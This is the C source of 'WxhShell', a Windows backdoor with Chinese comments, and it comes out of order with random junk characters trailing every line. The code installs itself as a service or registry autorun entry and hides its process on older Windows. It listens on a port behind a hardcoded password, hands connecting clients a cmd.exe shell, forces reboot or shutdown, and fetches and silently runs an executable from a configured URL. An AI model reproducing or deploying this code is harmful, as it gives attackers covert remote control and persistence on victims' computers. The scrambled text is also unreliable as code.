    closesocket(wsh); 0$~zeG"  
    ExitThread(0); S?k G|y  
    } C;C= g1I}  
    break; TZ2-%k#  
    } 6pHn%yE*  
  // 获取shell n\ yDMY  
  case 's': { im6Rx=}E{  
    CmdShell(wsh); NQx`u"=  
    closesocket(wsh); AD ,  
    ExitThread(0); <lBY  
    break; ?Thh7#7LM  
  } mjwh40x.o  
  // 退出 BmP!/i_  
  case 'x': { AP8YY8,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xElHYh(\  
    CloseIt(wsh); l^B PTg)X@  
    break; y]5c!N %8  
    } Kn !n}GtR  
  // 离开 $Z!$E,@c  
  case 'q': { +NH#t} .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bh9!OqK9K  
    closesocket(wsh); w[bhm$SX]B  
    WSACleanup(); 8hK\Ya:mP  
    exit(1); sSM^net0  
    break; VKjDK$  
        } n%M-L[n  
  } 0\N n.x%  
  } HFr#Ql>g  
 m,,FNYW  
  // 提示信息 yt+"\d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l Wa4X#~.  
} `H_.<``>  
  } v7i5R !  
^,?dk![1Cv  
  return; 1Rrl59}5  
} ?W#>9WQi  
"o=*f/M  
// shell模块句柄 $!(J4v=X  
int CmdShell(SOCKET sock) VeJM=s.y7  
{ rM sd)  
STARTUPINFO si; 8b^v@|)N  
ZeroMemory(&si,sizeof(si)); UJqDZIvC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &s +DK `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M:!Twz$  
PROCESS_INFORMATION ProcessInfo; @dy<=bh~  
char cmdline[]="cmd"; qMk"i@"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "I)*W8wTn  
  return 0; RY>BP[h  
} \Kx@?,  
tP?pN]Q$,  
// 自身启动模式 9rB,7%@EL  
int StartFromService(void) Qj?qWVapA  
{ Z/|oCwR  
typedef struct rj.]M6#  
{ hU:M]O0uw  
  DWORD ExitStatus; IEx`W;V]K  
  DWORD PebBaseAddress; ^x! N]  
  DWORD AffinityMask; ux[h\Tp  
  DWORD BasePriority; k63]Qf=5?N  
  ULONG UniqueProcessId; rQ^X3J*`  
  ULONG InheritedFromUniqueProcessId; 986y\9Zu  
}   PROCESS_BASIC_INFORMATION; Pl@3=s!~>~  
cGevFlnh  
PROCNTQSIP NtQueryInformationProcess; r[>=iim  
/EN3>25"#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZB+N[VJs)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [7K-L6X  
igoXMsifT+  
  HANDLE             hProcess; MOiTz L*  
  PROCESS_BASIC_INFORMATION pbi; ?B)jnBh|  
 #E[{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ewo1^&#>  
  if(NULL == hInst ) return 0; ICJp-  
$.a4Og2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tWs ]Zd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]BY^.!Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D{Zjo)&tF'  
F,t ,Ja  
  if (!NtQueryInformationProcess) return 0; ]kJinXHW  
U"1z"PcV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2wHvHH!  
  if(!hProcess) return 0; S,K'y?6  
SR,id B&i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9t 3mU:  
C*;g!~{  
  CloseHandle(hProcess); {uurM` f}:  
XZ@;Tyn0,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kt(Z&@  
if(hProcess==NULL) return 0; =}:9y6QR.  
C~16Jj:v  
HMODULE hMod; *W'F 6Hpu  
char procName[255];  mN>7vJ  
unsigned long cbNeeded; >~;MQDU5*Y  
$=7'Cm ?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C'HW`rh.^  
'6^20rj  
  CloseHandle(hProcess); 0P(U^rkR~  
=j%B`cJ66_  
if(strstr(procName,"services")) return 1; // 以服务启动 kC =e>v  
`+IB;G1  
  return 0; // 注册表启动 ohK_~  
} ~$#"'Tl4J  
\q2#ef@2  
// 主模块 QZcdfJck=+  
int StartWxhshell(LPSTR lpCmdLine) ZI'MfkEZ*  
{ 41c]o<!=)j  
  SOCKET wsl; vqq7IV)|  
BOOL val=TRUE; d$>TC(E=t  
  int port=0; YCJ6an  
  struct sockaddr_in door; ^DL}J>F9G  
^4Nk13  
  if(wscfg.ws_autoins) Install(); G_GPnKdd  
7M#eR8*[se  
port=atoi(lpCmdLine); ?(9/V7HQ.5  
t> D|1E"  
if(port<=0) port=wscfg.ws_port; ]7 qn&(]  
SZO$#  
  WSADATA data; 8MHYk>O~{G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H4s^&--  
=0te.io)3O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K[tQ>C@s2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W|IMnK-  
  door.sin_family = AF_INET; %LeQpbyOR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vy]y73~  
  door.sin_port = htons(port); +T*=JHOD  
/S32)=(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'j^A87\M_  
closesocket(wsl); up[9L|  
return 1; z 6~cm6j  
} .}.?b  
p2]@yE7w  
  if(listen(wsl,2) == INVALID_SOCKET) { fj2pD Cic  
closesocket(wsl); /}G+PUk7  
return 1; k A`Z#yu  
} /.Yf&2X\  
  Wxhshell(wsl); gB4&pPN  
  WSACleanup(); iV h^;  
"m*.kB)e7  
return 0; \;al@yC=T  
)tH.P: 1~,  
} J~=bW\^I  
+_.k\CRms  
// 以NT服务方式启动 :}QBrd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BCDmce`=l  
{ $XBn:0U  
DWORD   status = 0; tUS)1*{_  
  DWORD   specificError = 0xfffffff; ]V|rOtxb  
3 [R<JrO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H .F-mm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -^ )0c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y v6V1gK  
  serviceStatus.dwWin32ExitCode     = 0; ws"{Y+L  
  serviceStatus.dwServiceSpecificExitCode = 0; ~}uv4;0l]  
  serviceStatus.dwCheckPoint       = 0; 42`%D  
  serviceStatus.dwWaitHint       = 0; &h(>jY7b;  
.YV{wL@cB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PI KQ}aq=  
  if (hServiceStatusHandle==0) return; ~0}gRpMW  
i!H)@4jX  
status = GetLastError(); &|/@;EA$8  
  if (status!=NO_ERROR) Y(aEp_kV  
{ !+sC'/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RMinZ}/  
    serviceStatus.dwCheckPoint       = 0; s)Gnj;  
    serviceStatus.dwWaitHint       = 0; bYPkqitqz  
    serviceStatus.dwWin32ExitCode     = status; U3Fa.bC6}  
    serviceStatus.dwServiceSpecificExitCode = specificError; vrRbUwL!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z XCq>  
    return; rF9|xgFK  
  } [}xVz"8V  
r]e1a\)r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B3x4sK s  
  serviceStatus.dwCheckPoint       = 0; t=,ZR}M1`  
  serviceStatus.dwWaitHint       = 0; b3/@$x<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #'poDX?  
} z\S#P|;  
#[ei/p  
// 处理NT服务事件,比如:启动、停止 /_WA F90R?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $Hw w  
{ D-{;;<nIr`  
switch(fdwControl) 'eyzH[l,(  
{ lk.]!K$}  
case SERVICE_CONTROL_STOP: wM$N#K@  
  serviceStatus.dwWin32ExitCode = 0; x)35}mi){L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (`W_ -PI  
  serviceStatus.dwCheckPoint   = 0; 7a$K@iWU  
  serviceStatus.dwWaitHint     = 0; vbt0G-%Z  
  { <x QvS^|[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zKh^BwhO|X  
  } i-.]onR  
  return; myq@X(K  
case SERVICE_CONTROL_PAUSE: s$%t*T2J>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !,Ou:E?Bb  
  break; uDtml$9rN  
case SERVICE_CONTROL_CONTINUE: Vd+qi~kA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l*r8.qp  
  break; /KU9sIE;  
case SERVICE_CONTROL_INTERROGATE: *~h@KQm7  
  break; {gL8s  
}; M =/+q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +3>)r{#k  
} OC?a[^hB^)  
?;GbK2\bj  
// 标准应用程序主函数 YC!IIE_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,9A1p06  
{ GHs,,J;  
{yo{@pdX>  
// 获取操作系统版本 HbOLf  
OsIsNt=GetOsVer(); m|') A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O/XG}G.x|  
CF,-l B  
  // 从命令行安装 #mIgk'kW<  
  if(strpbrk(lpCmdLine,"iI")) Install(); F"-u8in`  
FT F`-}Hz  
  // 下载执行文件 {[|je ]3v  
if(wscfg.ws_downexe) { g~7x+cu0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >PY Lk{q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1bz%O2U-(  
} ?\Bm>p% +  
p*NKM} ]I  
if(!OsIsNt) { MG}rvzn@  
// 如果时win9x,隐藏进程并且设置为注册表启动 V=i/cI\  
HideProc(); D`Cy]j  
StartWxhshell(lpCmdLine); GhJ<L3  
} Y>J$OA:  
else q1a*6*YB  
  if(StartFromService()) T`zUgZ]  
  // 以服务方式启动 ~=P#7l\o1  
  StartServiceCtrlDispatcher(DispatchTable); <r>1W~bp.q  
else \CU-a`n  
  // 普通方式启动 rSgOQ  
  StartWxhshell(lpCmdLine); N*1{yl76x  
&Z3u(Eb  
return 0; =x xN3Ay  
} MdC}!&W  
`i `F$;  
+=Y[RCXT  
l cX'n8/3  
=========================================== Qi=pP/Y  
!g.?+~@  
7DZZdH$Fm  
YHp]O+c  
XLgp.w;  
N,3 )`Vm  
" DqJzsk'd3  
"C]v   
#include <stdio.h> qg06*$%  
#include <string.h> F(; =^w  
#include <windows.h> e"d-$$'e  
#include <winsock2.h> NiSybyR$  
#include <winsvc.h> _x`oab0@  
#include <urlmon.h> 8{- *Q(=/  
d)WGI RUx  
#pragma comment (lib, "Ws2_32.lib") Ajm  
#pragma comment (lib, "urlmon.lib") oypF0?!m  
 NZu2D  
#define MAX_USER   100 // 最大客户端连接数 Z ~3  
#define BUF_SOCK   200 // sock buffer Q{o]^tN  
#define KEY_BUFF   255 // 输入 buffer Z[G[.\0  
=h>jo&=Wad  
#define REBOOT     0   // 重启 |e_'% d&  
#define SHUTDOWN   1   // 关机 <~bvf A=  
;%Zu[G`C  
#define DEF_PORT   5000 // 监听端口 Z#t}yC%^d  
o.g)[$M8cF  
#define REG_LEN     16   // 注册表键长度 pwg\b  
#define SVC_LEN     80   // NT服务名长度 V r7L9%/wg  
cK1 Fv6V#  
// 从dll定义API 5F78)q u6N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D &Bdl5g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wBlo2WY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;S?ei>Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1>=]lMW  
mVd%sWD  
// wxhshell配置信息 K2qKkV@  
struct WSCFG { 8b:GyC5L  
  int ws_port;         // 监听端口 n`X}&(O  
  char ws_passstr[REG_LEN]; // 口令 S*NeS#!v  
  int ws_autoins;       // 安装标记, 1=yes 0=no szs.B|3X@*  
  char ws_regname[REG_LEN]; // 注册表键名 {O!B8a    
  char ws_svcname[REG_LEN]; // 服务名 bO'?7=SC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3rj7]:Vr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Tc^}Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cz41<SFL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MMy\u) 4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @:/H)F^x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IMSLHwZ  
T0X+\&W  
}; Oj>;[O"  
em9nuXG  
// default Wxhshell configuration @M*oq2U;  
struct WSCFG wscfg={DEF_PORT, f;%=S:3  
    "xuhuanlingzhe", 3z0 %uY[e  
    1, XI>HC'.0  
    "Wxhshell", $}JWJ\-]  
    "Wxhshell", >x*ef]aS  
            "WxhShell Service", f+%s.[;A  
    "Wrsky Windows CmdShell Service", ATF>"Ux  
    "Please Input Your Password: ", w\1K.j=>|N  
  1, lNo]]a+_  
  "http://www.wrsky.com/wxhshell.exe", x"P@[T  
  "Wxhshell.exe" 6J<R;g23R]  
    }; f2 ?01PM,Q  
] Jnrs  
// 消息定义模块 W+i&!'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W.c>("gC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 48)D%867.;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gLwrYG7@  
char *msg_ws_ext="\n\rExit."; .1:B\ R((  
char *msg_ws_end="\n\rQuit."; e3k58  
char *msg_ws_boot="\n\rReboot..."; ;TL>{"z`x  
char *msg_ws_poff="\n\rShutdown..."; CsJ&,(s(  
char *msg_ws_down="\n\rSave to "; EvptGM  
: j`4nXm  
char *msg_ws_err="\n\rErr!"; kA/yL]m^S  
char *msg_ws_ok="\n\rOK!"; :{ Lihe~\  
^g=j`f[T  
char ExeFile[MAX_PATH]; 6eQa @[.Q  
int nUser = 0; >W6?!ue_  
HANDLE handles[MAX_USER]; r8>Qs RnU%  
int OsIsNt; ub]s>aqy   
v$Xoxp  
SERVICE_STATUS       serviceStatus; zym6b@+jN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g'NR\<6A  
l\37/Z  
// 函数声明 32p9(HQ  
int Install(void); ,rX|_4 n*  
int Uninstall(void); ~Kt2g\BSok  
int DownloadFile(char *sURL, SOCKET wsh); 9vBW CCf  
int Boot(int flag); GsoD^mjY  
void HideProc(void);  V*W H  
int GetOsVer(void); [$@EQ]tt/  
int Wxhshell(SOCKET wsl); _Mi*Fvj  
void TalkWithClient(void *cs); i,mZg+;w  
int CmdShell(SOCKET sock); ! u9LZ  
int StartFromService(void); ;( (|0Xa  
int StartWxhshell(LPSTR lpCmdLine); \s6 VOR/  
*-&+;|mM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~!P&LZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F{E`MK~f_  
j9R+;u/!  
// 数据结构和表定义 24k;.o  
SERVICE_TABLE_ENTRY DispatchTable[] = Bo;{ QoB  
{ 3F$N@K~s  
{wscfg.ws_svcname, NTServiceMain}, \F14]`i  
{NULL, NULL} -d[Gy- J  
}; 825 QS`  
gkDXt^Ob  
// 自我安装 rQ(u@u;  
int Install(void) oK3PA  
{ WO*dO9O  
  char svExeFile[MAX_PATH]; PY#_$ C  
  HKEY key; >]x%+@{|  
  strcpy(svExeFile,ExeFile); SP;1XXlL  
aWY#gI{  
// 如果是win9x系统,修改注册表设为自启动 ]f6,4[  
if(!OsIsNt) { [*g'Y;W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Y30B,=M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xmejoOF  
  RegCloseKey(key); CUx-k|\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ZupsS9l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1-.(pA'  
  RegCloseKey(key); 4veXg/l  
  return 0; L0*f(H  
    } ++BQ==@  
  } 2p~G][  
} !?z"d  
else { cRWYS[O?-  
U:gvK 8n  
// 如果是NT以上系统,安装为系统服务 ^@<Ia-x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D2f~*!vEnA  
if (schSCManager!=0) QwLSL<.  
{ |P-kyY34  
  SC_HANDLE schService = CreateService cA~bH 6  
  ( FAq9G-\B  
  schSCManager, 2+yti,s+/  
  wscfg.ws_svcname, :Aj[#4-=   
  wscfg.ws_svcdisp, f.:0T&%G  
  SERVICE_ALL_ACCESS, !.7m4mKzo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \"P$*y4Le  
  SERVICE_AUTO_START, :ay`Id_tm  
  SERVICE_ERROR_NORMAL, ]?_V+F  
  svExeFile, _Nf%x1m5s  
  NULL, =(Y+u  
  NULL, [f?x ,W~  
  NULL, 0y%s\,PsT  
  NULL, mcWN.  
  NULL b@B\2BT  
  ); |AS9^w  
  if (schService!=0) OpmPw4?}  
  { OG^#e+  
  CloseServiceHandle(schService); K<v:RbU|[1  
  CloseServiceHandle(schSCManager); T+>W(w i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @Py?.H   
  strcat(svExeFile,wscfg.ws_svcname); w}U'>fj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cRSgP{hy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %F(lq*8X  
  RegCloseKey(key); ?>mpUH  
  return 0; cK75Chsu  
    } SKo*8r   
  }  5s<.qDc  
  CloseServiceHandle(schSCManager); N~DO_^  
} G*g*+D[HM  
} WyUa3$[gO  
&<# ,J4  
return 1; Hi&bNM>?O  
} nMOXy\&mI  
!3\( d{  
// 自我卸载 ySH io;g9  
int Uninstall(void) ~I@ % ysR  
{ vAtR\ Vh  
  HKEY key; Er|j\(jM  
>iI_bcqF  
if(!OsIsNt) { eY_BECJ+OO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /EwNMU*6  
  RegDeleteValue(key,wscfg.ws_regname); #yOeL3|b'  
  RegCloseKey(key); /U="~{*-R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e'~<uN>  
  RegDeleteValue(key,wscfg.ws_regname); W,.Exh  
  RegCloseKey(key); nbBox,zW  
  return 0; _ 3{8Zg  
  } 70Ei<  
} F 7X ] h  
} Ju_(,M-Vgr  
else { ?$=Ml$  
h4c4!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @e+qe9A|  
if (schSCManager!=0) 8|Wl|@1(  
{ nr%P11U\c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c22L]Sxo  
  if (schService!=0) dl+c+w"  
  { O`.IE? h#  
  if(DeleteService(schService)!=0) { >viLvDng  
  CloseServiceHandle(schService); o:@A%*jg  
  CloseServiceHandle(schSCManager); X + B=?|M  
  return 0; \n-.gG  
  } 2lxA/.f  
  CloseServiceHandle(schService); p e$WSS J  
  } L7N>p4h]Xj  
  CloseServiceHandle(schSCManager); Bb7Vf7>  
} Ca3 {e1  
} UM. Se(kS  
@Z89cTO  
return 1; Kp[5"N8  
} BUXlHh%<R  
-_f-j  
// 从指定url下载文件 2`V(w[zTr  
int DownloadFile(char *sURL, SOCKET wsh) G.qjw]Llf  
{ qcfg 55]'c  
  HRESULT hr; `LJ.NY pP  
char seps[]= "/";  !~]'&9  
char *token; _J0(GuG=~  
char *file; ]"i^ VVw  
char myURL[MAX_PATH]; #3YYE5cB  
char myFILE[MAX_PATH]; S>R40T=e  
i7`/"5I  
strcpy(myURL,sURL); z"Wyf6H0T  
  token=strtok(myURL,seps); >"D0vj  
  while(token!=NULL) V""3#Tw   
  { gO bP  
    file=token; 20)8e!jP  
  token=strtok(NULL,seps); "Wy!,RH  
  } K?=g IC:  
Kj+TP qXb  
GetCurrentDirectory(MAX_PATH,myFILE); oi%IHX(`  
strcat(myFILE, "\\"); xgWVxX^)  
strcat(myFILE, file); D}?JX5.  
  send(wsh,myFILE,strlen(myFILE),0); wArzMt}[  
send(wsh,"...",3,0); bJL,pe+u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rc~63![O.  
  if(hr==S_OK) ,772$7x  
return 0; %D[6;PT  
else w=ZK=@  
return 1; 5- "aK~@+  
j`-9.  
} 67wq8|  
lv& y<d;  
// 系统电源模块 m!:sDQn{3  
int Boot(int flag) 03 ;L  
{ uD:tT ~  
  HANDLE hToken; )"s(;kU!  
  TOKEN_PRIVILEGES tkp; 0;"  >.  
O_Z   
  if(OsIsNt) { n ZzGak  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IR"=8w#MP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~.Cu,>fV  
    tkp.PrivilegeCount = 1; -7m7.>/M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xUDXg*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G V%@A  
if(flag==REBOOT) { y{QF#&lW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }?Tz=hP  
  return 0; hFDo{yI  
} CoM?cS S  
else { 9j$J}=y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s5oU  
  return 0; Yu|L6#[E  
} Y NGS"3F  
  } D=~3N  
  else { S{JBV@@tC  
if(flag==REBOOT) { bYy7Ul6]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p;LF-R  
  return 0; :JzJ(q/  
} ''B}^yKEW  
else { @;{iCVW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ryi% }!  
  return 0; ,/..f!bp  
} sT>l ?L  
} v;IuB  
ljjnqQ%  
return 1; RGLi#:0_.x  
} ^vo]bq7  
$e,'<Jl  
// win9x进程隐藏模块 4"Pf0PD:  
void HideProc(void) # |,c3$  
{ >2K:O\&  
>~\CiV4^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7R>Pk9J  
  if ( hKernel != NULL ) @%[ VegT  
  { r#WAS2.TP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q#.+P1"U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P6;Cohfh  
    FreeLibrary(hKernel); p}h9>R  
  } {_]<mwd  
YMn_9s7<  
return; ;r3|EA35  
} \_3#%%z  
A]OVmw  
// 获取操作系统版本 *@[+C~U  
int GetOsVer(void) 6q~*\KRk  
{ /w:~!3Aj0+  
  OSVERSIONINFO winfo; SgY\h{{sP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [HQ Bx`3TS  
  GetVersionEx(&winfo); mf)E%qo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?a` $Y>?h  
  return 1; Iqb|.vLG  
  else *gN)a%9  
  return 0; t`vIcCXqyl  
} \m1jV>q  
??=7pFm  
// 客户端句柄模块 &BQ%df<y\  
int Wxhshell(SOCKET wsl) LArfX,x3i  
{ Vc| uQ8Mi  
  SOCKET wsh; |&H(skF_  
  struct sockaddr_in client; p`3$NCJN  
  DWORD myID; *\F,?yU  
l*n4d[0J  
  while(nUser<MAX_USER) *]* D^'  
{ :faB7wduW;  
  int nSize=sizeof(client); -LEpT$v|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5gY9D!;:0D  
  if(wsh==INVALID_SOCKET) return 1; <^wqN!/  
p`{| [<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^0T[V-PgiD  
if(handles[nUser]==0) \UBQ:+3  
  closesocket(wsh); [Xo}CU  
else  FK|q*  
  nUser++; F(;C \[Ep  
  } C\; $RH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fx'E"d  
XGMO~8 3  
  return 0; 'Mm=<Bh  
} )>rHM6-W  
{Qj7?}xW  
// 关闭 socket [5QbE$  
void CloseIt(SOCKET wsh) nN!R!tJPa  
{ J1{ucFa  
closesocket(wsh); >X-*Hu'U#  
nUser--; ,{u'7p  
ExitThread(0); -K%~2M<  
} %& b70]S(  
QLe<).S1B2  
// 客户端请求句柄 :]^FTnO  
void TalkWithClient(void *cs) (TFo]c  
{ ex-W{k$  
gPg2Ve0Qy  
  SOCKET wsh=(SOCKET)cs; nW `EBs  
  char pwd[SVC_LEN]; TGu]6NzyZ  
  char cmd[KEY_BUFF]; <Z8^.t)|  
char chr[1]; ]*JH~.p  
int i,j; 6`;+|H<$  
HVK./y qy  
  while (nUser < MAX_USER) { :_"%o=  
yaKw/vV  
if(wscfg.ws_passstr) { keL!;q|r-)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?tFsSU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z7Xic5PI{4  
  //ZeroMemory(pwd,KEY_BUFF); eFdN"8EW  
      i=0; WHvU|rJ  
  while(i<SVC_LEN) { \Yd 0oe82  
p) ea1j>N  
  // 设置超时 TkSeDP  
  fd_set FdRead; (k&r^V/=  
  struct timeval TimeOut; 7T}r]C.  
  FD_ZERO(&FdRead); o!ycVY$yW  
  FD_SET(wsh,&FdRead); )NCkq~M  
  TimeOut.tv_sec=8; 'ai!6[|SD  
  TimeOut.tv_usec=0; DX%D8atrr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~7Jj\@68  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3WQ"3^G  
!E|k#c9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wg ?P"  
  pwd=chr[0]; iHL`r1I!  
  if(chr[0]==0xd || chr[0]==0xa) { t`y*oRy  
  pwd=0; [W2GLd]  
  break; JypXQC}~  
  } j: /cJt  
  i++; @O%d2bgEWV  
    } ;IYH5sG{  
KK4"H]!.  
  // 如果是非法用户,关闭 socket .WT^L2l%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kw.IVz<  
} mFXkrvOf,  
BbdJR]N/!h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &i%1\ o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ccu13Kr>E  
-!b@\=  
while(1) { @CU~3Md*  
y:3d`E4Xw  
  ZeroMemory(cmd,KEY_BUFF); [Y=X^"PF  
,,KGcDBj  
      // 自动支持客户端 telnet标准   -S,xR5  
  j=0; !@vM@Z"  
  while(j<KEY_BUFF) { K:g:GEDgf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0x/3Xz  
  cmd[j]=chr[0]; zr5(nAl  
  if(chr[0]==0xa || chr[0]==0xd) { {IpIQ-@l  
  cmd[j]=0; e=%6\&q  
  break; `[zd  
  } ]~A<Q{  
  j++; ZT'Sw%U:  
    } X0"f>.Lg  
hpVu   
  // 下载文件 Qo;#}%}^^  
  if(strstr(cmd,"http://")) { )Mj $/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ';0NWFP  
  if(DownloadFile(cmd,wsh)) +)gXU Vwd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `DPR >dd@  
  else ko%B`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ZOKB9QccC  
  } p/f!\  
  else { p~xrl jP$  
:xP$iEA`G  
    switch(cmd[0]) { w(xRL#%  
  ']]&<B}mz  
  // 帮助 GXE6=BO  
